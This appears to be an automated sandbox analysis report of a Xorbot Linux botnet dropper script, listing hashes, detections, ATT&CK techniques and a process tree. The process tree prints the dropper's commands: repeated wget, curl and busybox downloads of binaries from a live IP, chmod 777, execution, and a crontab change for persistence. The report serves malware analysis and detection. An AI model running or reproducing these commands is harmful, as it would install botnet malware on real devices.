xorbot | 0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 12:26

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General

Target

PODZ2_bins.sh
Size

10KB
MD5

6d5db893b3366e9b599c283095502209
SHA1

20bb6748cb464f266c5d2d9c823902992608268f
SHA256

0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4
SHA512

45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402
SSDEEP

96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1798) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod
1511	chmod
1518	chmod
1525	chmod
1532	chmod
1489	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	1490	PODZ2_bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	1497	PODZ2_bins.sh
/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	1512	PODZ2_bins.sh
/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	1519	PODZ2_bins.sh
/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	1526	PODZ2_bins.sh
/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	1533	PODZ2_bins.sh

Renames itself 1 IoCs

pid	Process
1534	PODZ2_bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mydkHW	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1559/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1638/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1706/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1584/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1676/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1707/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1755/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1770/cmdline	PODZ2_bins.sh
File opened for reading	/proc/943/cmdline	PODZ2_bins.sh
File opened for reading	/proc/157/cmdline	PODZ2_bins.sh
File opened for reading	/proc/705/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1547/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1675/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1690/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1717/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1758/cmdline	PODZ2_bins.sh
File opened for reading	/proc/335/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1155/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1290/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1567/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1632/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1700/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1768/cmdline	PODZ2_bins.sh
File opened for reading	/proc/27/cmdline	PODZ2_bins.sh
File opened for reading	/proc/464/cmdline	PODZ2_bins.sh
File opened for reading	/proc/716/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1343/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1666/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1698/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1764/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1552/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1569/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1578/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1703/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1724/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1759/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1761/cmdline	PODZ2_bins.sh
File opened for reading	/proc/6/cmdline	PODZ2_bins.sh
File opened for reading	/proc/89/cmdline	PODZ2_bins.sh
File opened for reading	/proc/163/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1105/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1127/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1586/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1673/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1682/cmdline	PODZ2_bins.sh
File opened for reading	/proc/9/cmdline	PODZ2_bins.sh
File opened for reading	/proc/26/cmdline	PODZ2_bins.sh
File opened for reading	/proc/32/cmdline	PODZ2_bins.sh
File opened for reading	/proc/437/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1011/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1154/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1556/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1626/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1579/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1618/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1623/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1631/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1653/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1679/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1696/cmdline	PODZ2_bins.sh
File opened for reading	/proc/1734/cmdline	PODZ2_bins.sh
File opened for reading	/proc/21/cmdline	PODZ2_bins.sh
File opened for reading	/proc/23/cmdline	PODZ2_bins.sh
File opened for reading	/proc/82/cmdline	PODZ2_bins.sh

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	wget
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	wget
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	curl
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	curl
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	busybox
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	busybox
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	wget
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	curl
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	busybox
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	busybox
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	busybox
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	busybox
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	curl
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget

/tmp/PODZ2_bins.sh
/tmp/PODZ2_bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1472
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1473
- /usr/bin/wget
  wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:1478
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1490
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1492
- /usr/bin/wget
  wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1497
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:1512
- /bin/rm
  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  PID:1519
- /bin/rm
  rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  PID:1526
- /bin/rm
  rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1536
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1538
- /bin/rm
  rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://37.44.238.88/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
  2⤵
  PID:1543

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.mydkHW

Filesize
210B

MD5
f10288b04498a89ead904d8b8a8aa45b

SHA1
c1855ef48bc9d42e26b8b926e1492f12db0a90a3

SHA256
764e457fdcc51db5b1634616d1858e266488ba78c25024c1ebf8b7ccc212a3c9

SHA512
d27a73a9adaeb306ccc4a0e517dbe2346a27aae62b3548945336eab2d6124f233aff94afd98183e6f38e97c334de81b7eaa78dafcfe905e712e5b44227dc5a5a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads